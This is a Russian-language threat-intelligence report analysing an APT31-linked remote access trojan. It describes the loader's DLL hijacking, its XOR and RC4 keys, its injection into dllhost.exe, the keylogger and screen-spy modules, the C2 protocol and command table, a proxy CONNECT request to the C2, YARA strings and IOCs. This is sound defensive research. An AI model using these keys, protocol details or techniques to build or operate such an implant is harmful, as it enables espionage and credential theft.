Во время очередного расследования наша команда Solar JSOC CERT наткнулась на неизвестный RAT. Но после проведения глубокого анализа стало понятно, что перед нами новая версия уже известного RAT (3.3a), который использует группировка APT31. Его первую версию эксперты по кибербезопасности описывали еще в 2021 году. За это время ВПО претерпело множество изменений и обзавелось новым функционалом. Его и разберем в статье. Дополнительно опишем особенности библиотеки wolfSSL, используемой злоумышленниками для реализации протокола TLS при взаимодействии с C2, а также возможные шаги для определения ее версии.
Для закрепления в системе и запуска RAT злоумышленники использовали службы. Схема запуска RAT, как и в прошлой версии, использует DLL Hijacking и приведена на рисунке:
Опишем подробнее каждый этап.
Этап 1. Начальный запуск
Рассматриваемый RAT устанавливался на хосты уже после того, как злоумышленники получили доступ к учетным записями с административными правами. Так что для наделения бэкдора максимальными правами и закрепления в системе создавались службы, которые запускали легитимный переименованный файл MicrosoftEdgeUpdate.exe с правами LocalSystem.
В одной директории рядом с данным файлом всегда также располагались:
вредоносная DLL (загрузчик) msedgeupdate.dll;
зашифрованный RAT без конфигурации.
По результатам расследования мы собрали следующие варианты расположения и названий MicrosoftEdgeUpdate.exe:
C:\ProgramData\Microsoft\DRM\DRMs.exe
C:\ProgramData\Microsoft\DeviceSync\Data\DeviceSyncs.exe
C:\ProgramData\Microsoft\DeviceSync\DeviceSyncs.exe
C:\ProgramData\Microsoft\Crypto\Cryptos.exe
MicrosoftEdgeUpdate.exe представляет собой легитимный файл, имеющий действительную цифровую подпись Microsoft, который используется при установке и обновлении браузера Microsoft Edge. На рисунке представлены свойства файла MicrosoftEdgeUpdate.exe, переименованного в DeviceSyncs.exe:
После запуска легитимный переименованный MicrosoftEdgeUpdate.exe через LoadLibraryEx
загружает вредоносную msedgeupdate.dll, которая располагается в том же каталоге.
Этап 2. Загрузчик
Вредоносная DLL msedgeupdate.dll – это неподписанная 32-разрядная библиотека, накрытая VMProtect 3.0-3.5. Дата компиляции, скорее всего, изменена вручную: 22.04.18 из FileHeader и 30.06.2021 из экспортной таблицы. Злоумышленники не старались подражать оригинальной библиотеке.
Экспортные функции
В качестве «пасхалок» злоумышленники использовали названия функций с номерами #1 и #16:
#1 안녕하십니까 – «Всем привет» (в переводе с корейского).
#16 안녕 – «Здравствуйте» (в переводе с корейского).
Все экспортные функции не представляют интереса, так как выполняют одну процедуру, в которой выполняется четыре API-вызова:
Вредоносный код загрузчика располагается в DllEntryPoint, которая вызывается при выполнении LoadLibraryEx.
Из арсенала VMProtect использовался только модуль обфускации API-вызовов, так как после инициализации виртуальной машины выполнение переходит к DllEntryPoint в секции .text, в которой отсутствует виртуализация, но все API-вызовы обфусцированы.
Приведем высокоуровневое описание функционала загрузчика и дадим комментарии по:
1. Расшифровке RAT и записи конфига;
2. Инжекту RAT в C:\Windows\System32\dllhost.exe
и его запуску.
Конфиг
Конфиг хранится в незашифрованном виде в загрузчике (во вредоносной DLL) в секции .data по RVA 0x770. Также во всех обнаруженных нами образцах совпадал raw address конфига – 0x11170:
Название параметра | Описание |
int sleep_min | минимальное время сна в секундах перед очередной попыткой связи с C2 |
int SND_RCV_timeout_secs | timeout в секундах для отправки и получения данных с C2 |
int sleep_rand_range | размер диапазона генерации случайных значений в секундах. Генерируются значения в диапазоне [sleep_min, sleep_min+sleep_rand_range] |
int new_c2_url_offset int c2_url_offset | смещения от начала конфига |
int c2_port | порт для подключения к C2 |
int c2_op_mode | режим работы RAT |
int keylogger_output_filename_offset int enc_payload_name_offset int payload_dirpath_offset int exe_filepath_offset int loader_dll_filepath_offset | смещения от начала конфига |
char new_c2_config_url[] | URL для загрузки новой конфигурации c2. |
char c2_url[] | URL сервера управления |
wchar_t keylogger_output_filename[] | имя файла для сохранения результатов работы keylogger |
wchar_t enc_payload_name[] | имя зашифрованного файла нагрузки (также используется в качестве имени mutex для уникальности процесса RAT) |
wchar_t payload_dirpath[] | каталог расположения зашифрованной нагрузки – всегда совпадает с каталогом exe-файла |
wchar_t exe_filepath[] | полный путь до exe-файла, который загрузил вредоносную DLL |
wchar_t loader_dll_filepath[] | полный путь до вредоносной DLL |
Мы обнаружили две конфигурации с одним и тем же сервером управления, но с разными значениями других параметров:
Для удобства приводим сравнительную таблицу двух конфигураций:
Название параметра | Конфиг 1 | Конфиг 2 |
sleep_min | 0x1F4 (500) | 0xB4 (180) |
SND_RCV_timeout_secs | 0x1F4 (500) | 0x12C (300) |
sleep_rand_range | 0x64 (100) | 0x3C (60) |
new_c2_url_offset | 0 | |
c2_url_offset | 0x30 | |
c2_port | 0x1BB (443) | |
c2_op_mode | 0 | |
keylogger_log_name_offset | 0x41 | |
enc_payload_name_offset | 0x55 | 0x47 |
payload_dirpath_offset | заполняется DLL-загрузчиком | |
exe_filepath_offset | ||
loader_dll_filepath_offset | ||
new_c2_config_url | отсутствует | |
c2_url | api.inliines[.]com | |
keylogger_log_name | 1Cdatakey | 1c |
enc_payload_name | 1Cdatas | 1cdata |
payload_dirpath | заполняется DLL-загрузчиком | |
exe_filepath | ||
loader_dll_filepath |
Расшифровка RAT и запись конфига
Для расшифровки нагрузки используется xor с 5-байтовым ключом.
Первая часть xor-ключа хранится в виде последовательности четырёх dword:
Далее в конец к ней дописывается байт 0x0F (вторая часть xor-ключа). В цикле при выполнении операции xor используется наименее значимый байт dword. Таким образом, ключ можно представить в виде последовательности байт: 13184F290F. В первой версии RAT использовалась аналогичная схема хранения и дополнения xor-ключа.
Дополненный конфиг записывается в расшифрованную нагрузку поверх egg-строки "w4wg7x" (специальная строка-индикатор) в секции .data:
В кодировке UTF16-LE строка-индикатор выглядит так «㑷杷砷», но не переводится во что-то, имеющее смысл.
Как видно, сразу после расшифровки конфигурация RAT пустая. Далее с помощью WriteProcessMemory выполняется инжект RAT в C:\Windows\System32\dllhost.exe
. Через SetThreadContext
корректируется EntryPoint SUSPENDED-процесса и выполняется его запуск.
Этап 3. RAT
Ниже приведем описание структуры и функционала RAT.
Сравнение версий
Специалисты Solar JSOC CERT обнаружили две версии полезной нагрузки. Оба файла представляют собой 32-разрядные исполняемые файлы со следующими датами компиляции из Debug-секции.
Если сравнить адреса секций, то видно, что у более поздней версии все адреса секций кроме .text смещены на 0x200. Bindiff оценил индекс похожести в 94% с индексом доверия в 99%, то есть файлы практически идентичны.
Если детально сравнивать файлы, то можно обнаружить, что было добавлено в более поздней версии.
По raw-адресу 0xCС00 (0x40D800 VA) в старой версии располагается функция:
В новой версии перед этой функцией добавили ещё одну по raw-адресу 0xCC20 (0x40D820 VA):
Добавленная функция стала вызываться в функциях выполнения команд сервера управления: в функции выполнения произвольной команды с сохранением результатов и в функции remote shell, основанной на pipe’ах:
Также размер .text секции был увеличен из-за выравнивания: с raw-адреса 0x80A00 или 0x80C00 начинается секция .rdata (байты 7E 12 0A …).
Структура RAT
Рассмотрим структуру расшифрованной полезной нагрузки. Помимо самого RAT в PE-файле содержится ещё два PE-файла:
keylogger.exe
– очевидно, keylogger.
ConsentUXA.dll
– это вредоносная DLL для получения снимков экрана.
Расскажем про них подробнее:
keylogger.exe
Имя файла (keylogger.exe
) взято из параметра Name таблицы экспортов.
keylogger.exe – вредоносный файл, представляющий собой 32-разрядную версию keylogger, который по умолчанию записывает результаты своей работы в файл под названием «䝗㡗坐» (ascii-строка WGW8PW). Если пробовать перевести данные символы, то получается что-то непонятное вроде «тигр сидит за дверной занавеской»:
䝗 – «тигр» или «свирепый и отважный солдат»;
㡗 – «дверная занавеска / перегородка», «пушистый / пернатый», вид тонкого шелка;
坐 – «сидеть».
Возможно, нет смысла переводить данные символы, так как ascii-строка WGW8PW используется RAT в качестве egg-строки.
В процессе запуска, если у RAT есть права LocalSystem, то создается отдельный поток, который каждые три минуты выполняет проверку и для каждого нового физического пользователя создает дочерний процесс, в который инжектирует keylogger. Схема инжекта аналогична вышеописанной при запуске самого RAT. Перед самим инжектом в памяти в raw-образе keylogger.exe
выполняется замена egg-строки WGW8PW на полный путь до файла keylogger_output_filename
из конфига RAT:
Mutex "KeyLog
" используется, чтобы функционировал только один экземпляр Keylogger. При запуске создается невидимое окно c названием SetEvent
, классом Twnd
и процедурой, которая обрабатывает сообщения типа WM_INPUT
. Далее с помощью RegisterRawInputDevices
окну разрешается получать сообщения WM_INPUT
и с помощью GetRawInputData
получаются нажатые клавиши, которые записываются в файл в формате:
\r\n\r\n[%02d:%02d:%02d %4d-%02d-%02d]--[USER:<имя_пользователя>]--[<заголовок_активного_окна >]\r\n<нажатые клавиши>
Перед записью данные шифруются с помощью однобайтового xor 0x7F.
ConsentUXA.dll
Имя файла (ConsentUXA.dll
) взято из параметра Name таблицы экспортов.
ConsentUXA.dll
– вредоносная 32-разрядная библиотека, содержащая экспортные функции #1 ScreenCapture, #2 ScreenSpy.
Дата компиляции из File Header – 20.07.2022 01:31:32 UTC.
По названиям экспортных функций и некоторым участкам кода можно предположить, что за основу был взят код модуля ScreenSpy Gh0st RAT с репозитория от 31.07.2016.
В репозитории в файле server\2015Remote\2015Remote.rc указана версия 1.0.0.1, что отличается от более старых репозиториев Gh0st RAT:
Также имеются и другие репозитории-клоны с исходными кодами Gh0st RAT версии 3.6. Здесь в качестве примера приведен один из вариантов с самым похожим исходным кодом. Возможно, этот репозиторий 2016 года (от пользователя zibility) содержит более новую версию Gh0st.
Экспортная функция #1 ScreenCapture выполняет скриншот экрана. Результаты работы выводятся в STD_OUTPUT_HANDLE
. Первые 4 байта – размер, далее – данные bmp-файла.
Экспортная функция #1 ScreenSpy постоянно делает скриншоты экрана, имитируя «слежку» в реальном времени. Результаты работы также отправляются в STD_OUTPUT_HANDLE
. Используется так называемое сканирование экрана, когда для сравнения выбирается его часть. Перед отправкой выполняется сравнение частей с соответствующими частями предыдущего снимка. В STD_OUTPUT_HANDLE
отправляются только измененные части (здесь подробно не будем останавливаться на формате измененных частей, исходный код есть на github). Формат аналогичен: первые 4 байта – размер, далее – измененные данные bmp-файла.
Библиотека wolfSSL
Все рассмотренные образцы общались с C2 через raw-сокеты и библиотеку с открытым исходным кодом wolfSSL, реализующую функции SSL. Стоит отметить, что в строках не было никаких прямых упоминаний этой библиотеки. При анализе кода в глаза бросились специфические коды возврата:
Коды возврата ошибок в wolfSSL имеют отрицательные значения. Также мы обнаружили yara-правило от исследователя Steven Miller, которое также подтвердило использование wolfSSL.
Определение версии
При определении версии библиотеки wolfSSL мы обнаружили опечатку, которая позволила определить интервал возможных версий и понять, когда вышеупомянутое yara-правило перестаёт работать. А позже одна функция и размер структуры WOLFSSL_CTX
помогли точно определиться с версией.
Опечатка связана с жестко закодированной строкой DOWNGRD, которая используется в протоколе TLS 1.3. Впервые данная строка с опечаткой появилась в релизе 3.12.0 (08.08.2017) в файле src/internal.c: https://github.com/wolfSSL/wolfssl/releases/tag/v3.12.0-stable
Вместо значения DOWNGRD
было использовано значение DOGNGRD
(0x47 – "G", 0x57 – "W"). Скорее всего, обычная опечатка. Ее исправили спустя 3 года в версии 4.4.0 (22.04.2020):
Во всех обнаруженных нами образцах присутствовала строка с опечаткой DOGNGRD, поэтому версия используемой библиотеки wolfSSL варьируется от 3.12.0 до 4.4.0 не включительно.
Также мы обнаружили, что в версии 4.5.0 "сигнатуры" клиента и сервера, которые используются при формировании Finished-сообщений в протоколе TLS в файле wolfssl/internal.h
, слегка изменились:
В конец сигнатур добавили байт 0x00. Это изменение «ломает» вышеупомянутое yara-правило, так как базовые строки правила
$base = "CLNTSRVRclient finished" ascii wide
$base2 = "CLNTserver finished" ascii wide
в wolfSSL версии ниже 4.4.0 выглядят по-другому:
Для детектирования wolfSSL любых версий можем порекомендовать использовать жестко закодированные последовательности md5 inner pad и md5 outer pad, которые также используются при формировании Finished-сообщений и задаются в файле wolfssl/internal.c
:
Константа PAD_MD5
определена в файле wolfssl/internal.h
:
PAD_MD5 = 48, /* pad length for finished */
Таким образом, в yara-правило можно добавить следующие базовые строки:
// md5_inner_pad
$base3 = { 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 }
// md5_outer_pad
$base4 = { 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C 5C }
Позже мы обнаружили, что в функции wolfSSL_Init
вызывается функция wc_InitRng(&globalRNG)
:
Так как статическая библиотека была скомпилирована с оптимизацией, мы видим вызов функции wc_InitRng
, но в исходном коде в функции wolfSSL_Init
вызывается wolfSSL_RAND_seed(NULL, 0)
, которая далее по цепочке делает вызов wc_InitRng
:
wolfSSL_RAND_seed → wolfSSL_RAND_Init → wc_InitRng
Функция wolfSSL_RAND_seed
стала вызываться в wolfSSL_Init
, начиная с версии 4.1.0:
Таким образом, диапазон версий библиотеки wolfSSL сокращается:
4.0.0 < wolfSSL_version
< 4.4.0
Для более точного определения версии мы воспользовались размером структуры WOLFSSL_CTX
. Отдельно отметим, что размер структуры меняется в зависимости от различных параметров, задаваемых при компиляции библиотеки wolfSSL. Мы проводили сравнение размеров структур при использовании параметров по умолчанию для разных версий wolfSSL. Скорее всего, злоумышленники при компиляции также использовали параметры по умолчанию (смещения многих значений структуры WOLFSSL_CTX
в RAT совпадали со смещениями в оригинальной библиотеке, скомпилированной с параметрами по умолчанию).
Таблица размеров структуры WOLFSSL_CTX
с параметрами по умолчанию:
Версия wolfSSL | Размер WOLFSSL_CTX |
v4.1.0-stable | 0xF4 |
wolfRand-RC2 | 0xF8 |
v4.2.0-stable | 0xFC |
v4.2.0c | 0xFC |
v4.3.0-stable | 0xFC |
Размер структуры WOLFSSL_CTX
в RAT – 0xF4:
В итоге из таблицы размеров делаем вывод, что в RAT с большой долей вероятности используется wolfSSL версии v4.1.0-stable (23.06.2019).
Использование в RAT
Для взаимодействия с C2 RAT использует raw-сокеты и методы библиотеки wolfSSL. В данном разделе кратко приведем основные параметры wolfSSL.
Используется TLS 1.2 и режим SSL_VERIFY_NONE, при котором RAT не будет проверять сертификат C2 при подключении:
У RAT отсутствуют какие-либо встроенные сертификаты.
Для работы wolfSSL последовательно вызываются все описанные в статье методы (wolfSSL_Init, wolfSSL_CTX_new, wolfSSL_new, wolfSSL_set_fd, wolfSSL_connect), кроме тех, которые связаны с сертификатами.
Для получения и отправки данных соответственно используются wolfSSL_read (в самом RAT используется кастомный метод mw_wolfSSL_readall) и wolfSSL_write.
Классы, STL, RTTI-артефакты
Все методы для взаимодействия с C2 и использования функционала wolfSSL реализованы в классе TCPSocket, который наследуется от базового класса TSocket с виртуальными методами.
Сам RAT написан на C++ и активно использует методы и контейнеры STL. Например, контейнеры и методы std::string, std::wstring, std::vector, std::list, std::shared_ptr, std::tuple, std::unique_ptr, std::ofstream, std::ifstream, std::filebuf.
Имеются RTTI-артефакты, которые содержат кастомные типы данных RAT. Пример одной полной RTTI-строки:
std::_LaunchPad<std::unique_ptr<std::tuple<void (__cdecl*) std::shared_ptr<TSocket>,NETHEAD,MByteArray*),std::shared_ptr<TSocket>,NETHEAD,MByteArray *>
Данная RTTI-информация используется в методах, которые создают std::unique_ptr, который содержит tuple из параметров для функции создания потока. Из длинной RTTI-строки выделим самый полезный фрагмент:
std::_LaunchPad<std::unique_ptr<std::tuple<void (__cdecl*)(std::shared_ptr<TSocket>,NETHEAD,MByteArray*),std::shared_ptr<TSocket>,NETHEAD,MByteArray *>
В нем видны кастомные типы NETHEAD (метаданные для C2) и MByteArray. Также при создании соответствующих структур данных в IDA всегда стоит обращать внимание на код инициализации параметров, так как контейнер tuple в различных реализациях может располагать в памяти параметры в обратном порядке, что и наблюдалось в наших образцах:
Остальные интересные RTTI-строки мы вынесли в раздел «Indicators of Compromise». Возможно, они пригодятся для сравнения при появлении новых релизов RAT. А они точно будут. По коду видны кастомные типы данных, классы, наследование, динамический полиморфизм. А по коду версии 3.3a видно, что идёт активная разработка и доработка RAT.
Функционал RAT
Ниже опишем самые интересные функции RAT, которыми обладают далеко не все представители данного класса ВПО.
Failover C2
Имеется функционал смены C2 (failover C2), который получает новый адрес C2. Срабатывает, если в конфиге задан параметр new_c2_url
. А также в двух случаях:
до основного цикла общения с C2, если в конфиге вообще не указан C2;
в основном цикле общения с C2, если не удалось подключиться.
Через wolfSSL GET-запросом с new_c2_url
загружаются данные во временный файл (имя файла генерируется с помощью функции tmpnam_s, например, %temp%\uwg.0
), который затем считывается в память. После этого временный файл удаляется. Берется строка между жестко закодированными строками YTc1YzI1Y2ZmNTg4NDFj
и YjVhZDI1MGUzNjJmMThkZmI
. Расшифровывается сначала по алгоритму base64, затем через xor 9. Схема хранения и «дополнения» xor-ключа аналогична описанной в разделе «Расшифровка RAT и запись конфига».
В итоге получается строка следующего формата:
new_c2_URI\tnew_c2_port\tnew_operation_mode_value
, где
new_c2_URI
– URI нового C2.
new_c2_port
– порт для подключения к новому C2.
new_operation_mode_value
– принимает значения 0, 1, 2.
0 – создать shared_ptr<TCPSocket>
.
1 – использовать существующий shared_ptr<TCPSocket>
.
2 – запустить поток отстука на C2 – каждую минуту на C2 отправляется только заголовок (без блока данных), содержащий команду 0x70000019.
В конфигах проанализированных нами образцов параметр new_c2_url
отсутствовал.
Authenticated Proxy
RAT может соединяться с C2 через http proxy-серверы с использованием HTTP Tunneling. Также поддерживаются прокси с аутентификацией на основе механизма GSSAPI SPNEGO. Пример одного из запросов RAT в процессе аутентификации:
CONNECT <c2_url>:<c2_port> HTTP/1.1 \r\n
User-Agent: My Service Endpoint 1.0\r\n
Host: <c2_url>\r\n
Proxy-Connection: Keep-Alive\r\n
Pragma: no-cache\r\n
Proxy-Authorization: Negotiate <base64_encoded_client_token>\r\n
Content-Length: 0\r\n\r\n
User-Agent: My Service Endpoint 1.0
был замечен в следующем репозитории: https://github.com/airfer/NtlmProxy/blob/2c83aa83f29e9f24f9efcd0c2a0e4850328d07e0/ntlm_proxy.c#L320
Возможно, какая-то его часть использовалась при разработке кода, ответственного за аутентификацию на прокси.
Взаимодействие с C2
Первым пакетом на C2 отправляется информация о системе и параметры RAT. В качестве ID клиента все так же используется MD5-хеш строки MAC-адреса и имени хоста (конкатенируются без разделителей), как было в версии 1.0. С системы собираются те же данные, которые дополняются большим количеством параметров RAT. После ожидается ответ от C2.
Сначала получается заголовок, затем, при необходимости, загружаются данные. Все пакеты (заголовок и данные) перед отправкой через wolfSSL полностью дополнительно шифруются по алгоритму RC4 с ключом 0x9CEC78BD. При получении сначала выполняется расшифровка по алгоритму RC4 с тем же ключом.
Данные, собираемые с жертвы
Каждый параметр разделяется символом табуляции 0x9 – "\t".
Название параметра | Описание |
BYTE client_id[16] | MD5(MAC+hostname) |
char hostname[] | Имя хоста |
char username[] | Имя пользователя |
char IP_decimal_str[] | IP в виде десятичного числа. |
char version[] | версия RAT ("3.3a") |
char cpu_arch[] | "32" или "64" |
char OSMajorVersion[] | Данные ОС |
char OSMinorVersion[] | |
char BuildNumber[] | |
char PlatformID | 2 (VER_PLATFORM_WIN32_NT) |
BYTE ProductType | Тип хоста 1 (VER_NT_WORKSTATION) 2 (VER_NT_DOMAIN_CONTROLLER) 3 (VER_NT_SERVER) |
char CreateProcessType[] | Значение отображает тип WinAPI вызова для создания процессов. "system" – CreateProcessA. "user" – CreateProcessAsUserA. |
char exe_filepath[] | Значение параметра exe_filepath конфига |
char end | "0". После данного символа знак табуляции не добавляется |
Общая структура пакетов, отправляемых на C2
Название параметра | Описание |
Заголовок (NETHEAD) | |
dword cmd_id | id команды, например, 0x70000001 |
dword reserved1 | 0 |
dword cmd_return_code | 0 или код возврата выполненной команды |
dword data_size | размер данных |
Данные | |
Результаты выполнения команд. Данные также могут вовсе отсутствовать, например, при выполнении команд без сохранения вывода или обмене ping-сообщениями. |
Структура первого пакета, отправляемого на C2 (зленым – заголовок, красным – данные):
Общая структура пакетов, получаемых от C2
Название параметра | Описание | ||
Заголовок (NETHEAD) | |||
аналогичен отправляемым данным | |||
Данные | |||
int arg1_size | размер первого аргумента | ||
int arg2_size | __int64 offset | размер второго аргумента | смещение |
int is_2nd_arg_present | 1 – второй аргумент присутствует. 0 – в противном случае | ||
char arg1[arg1_size] | аргументы выполняемых команд | ||
char arg2[arg2_size] |
Таблица выполняемых команд
Команда | Описание |
0x70000001 | Собрать и отправить system info |
0x70000002 | Получить список содержимого указанного каталога |
0x70000003 | Используется WinAPI SHFileOperationW. 3 – копирование файлов; 4 – перемещение файлов; 5 – перемещение каталогов; 6 – удаление файлов. Для команд 3-5 используется два аргумента с поддержкой wildcards. arg1 – source. arg2 – destination. В команде 6 – только arg1 |
0x70000004 | |
0x70000005 | |
0x70000006 | |
0x70000007 | В отдельном потоке считать данные по заданному смещению для указанного файла и отправить их на C2. arg1 – имя файла. arg2 – смещение |
0x70000008 | В отдельном потоке перезаписать указанный файл данными от C2 Сначала на C2 отправляется размер указанного файла, далее идёт загрузка данных с C2 и их запись в файл |
0x70000009 | В отдельном потоке запустить remote shell, работающий |
0x7000000B | Получить информацию о логических дисках в формате drive_label\tdrive_type\tdrive_size\tfree_space\n |
0x7000000C | Создать каталог |
0x7000000F | Завершить дочерний процесс keylogger |
0x70000010 | Выполнить cmdline с помощью CreateProcess, используя два аргумента: arg1 – application name; arg2 – application arguments. Отправить на C2 код возврата в заголовке |
0x70000011 | Выполнить cmdline и отправить результат на C2 |
0x70000012 | Включить режим, при котором будет использоваться CreateProcessAsUser (по умолчанию используется) |
0x70000013 | Включить режим, при котором будет использоваться CreateProcessA |
0x70000014 | Создать поток, который будет перенаправлять весь трафик arg1 – структура данных для перенаправления |
0x70000015 | Создать поток, в котором запускается ScreenSpy (слежка В текущий каталог дропает ConsentUXA.dll, делает его скрытым и создает процесс rundll32.exe ConsentUXA.dll ScreenSpy <c2_arg1_bits_per_pixel>. Данные сжимаются через deflate и отправляются на C2, dll удаляется. arg1 – bytes per pixel |
0x70000016 | Сделать скриншот. В текущий каталог дропает InitializeCriticalSection.dll, делает его скрытым. Перенаправляет потоки ввода/вывода будущего процесса Данные сжимаются через deflate и отправляются на С2, dll удаляется. arg1 – bytes per pixel |
0x70000017 | Отправить содержимое файла keylogger на C2 |
0x70000018 | Удалить файл keylogger |
0x70000019 | Ping-сообщение без данных. Этой командой обменивается RAT с C2 в потоке отстука. Данная команда игнорируется |
0x70000021 | Создать поток с remote shell через screen buffer. Перед созданием shell на C2 дублируется полученный заголовок (без данных). С C2 идёт обмен информацией о координатах курсора, введенных символах и их атрибутах. Эти данные сжимаются через deflate и отправляются на C2 |
Заключение
Выше мы описали загрузчик, структуру и новые возможности обновленной версии RAT, поделились подробностями библиотеки wolfSSL, которые позволяют определить ее версию, и показали особенности детектирования различных версий yara-правилами.
Мы убеждены, что новая версия RAT находится в активной разработке, так как видны значительные отличия по сравнению с версией 1.0. В новой версии многое добавлено (wolfSSL, keylogger, ScreenSpy, новые команды), но видны и «старые» приемы. Например, способ хранения xor-ключей, использование egg-строк, аналогичный алгоритм генерации id клиента и другие.
У нас недостаточно данных, чтобы утверждать, что данный RAT дорабатывался или эксплуатировался все той же группировкой APT31. Но, судя по схожести в тактиках и техниках злоумышленников, за использованием данного RAT стоят APT-группировки азиатского региона. В частности:
схемы запуска – DLL Hijacking;
каталоги размещения – C:\ProgramData;
инструментарий – в рамках инцидента злоумышленники также использовали бэкдор PlugX;
заимствование кода компонентов из Gh0st RAT;
другие.
Indicators of compromise
Контрольные суммы приводятся в формате SHA256.
Загрузчик вместе с соответствующей зашифрованной полезной нагрузкой RAT
msedgeupdate.dll | 7259da2c7c36dab389fd3ab56d053fef8aa581fab84dbb36327e271e52917906 |
1Cdatas | 064a158a475d275c6be6d79b86c32f33e1723837020e05e0df96bbd2767ca1ca |
msedgeupdate.dll | 2676ff82303dd30c23608d55c3d5214e18319d584763afe8ec058ca6ab149d51 |
1cdata | 267c0a4ffb1a70028f841e0acf960dfdb87971129043baa2869f61e2a74a96d4 |
PE-файлы, встроенные в RAT
keylogger.exe | b3418389642603379450f51b0c6028d1dbaa44bada61857d9d9cf0f564b84e64 |
ConsentUXA.dll | 2f54780cb0f04cfe7304d7863a71449a5defe55e8a27ca2d1a1476f1ebdd55c9 |
C2
api.inliines[.]com (213.183.53[.]156)
1.1. RTTI-строки
std::_LaunchPad<std::unique_ptr<std::tuple<void (__cdecl*)(std::shared_ptr<TSocket>,NETHEAD,MByteArray*),std::shared_ptr<TSocket>,NETHEAD,MByteArray *>
std::_LaunchPad<std::unique_ptr<std::tuple<void (__cdecl*)(std::shared_ptr<TSocket>),std::shared_ptr<TSocket> >
std::_LaunchPad<std::unique_ptr<std::tuple<unsigned long (__stdcall*)(void)>
std::_LaunchPad<std::unique_ptr<std::tuple<unsigned long (__stdcall*)(std::shared_ptr<TSocket>,void *),std::shared_ptr<TSocket>,void *>
std::_LaunchPad<std::unique_ptr<std::tuple<unsigned long (__stdcall*)(TSocket *,unsigned int),TSocket *,unsigned int>
std::_LaunchPad<std::unique_ptr<std::tuple<unsigned long (__stdcall*)(NETHEAD,int,char *),NETHEAD,int,char *>
std::_LaunchPad<std::unique_ptr<std::tuple<unsigned long (__stdcall*)(NETHEAD,int),NETHEAD,int>
std::_LaunchPad<std::unique_ptr<std::tuple<unsigned long (__stdcall*)(NETHEAD,__int64,std::basic_string<char,std::char_traits<char>,std::allocator<char> >),NETHEAD,__int64,std::basic_string<char,std::char_traits<char>,std::allocator<char> > >
std::_LaunchPad<std::unique_ptr<std::tuple<unsigned long (__stdcall*)(NETHEAD),NETHEAD>
Автор: Антон Каргин, инженер технического расследования "РТК-Солар".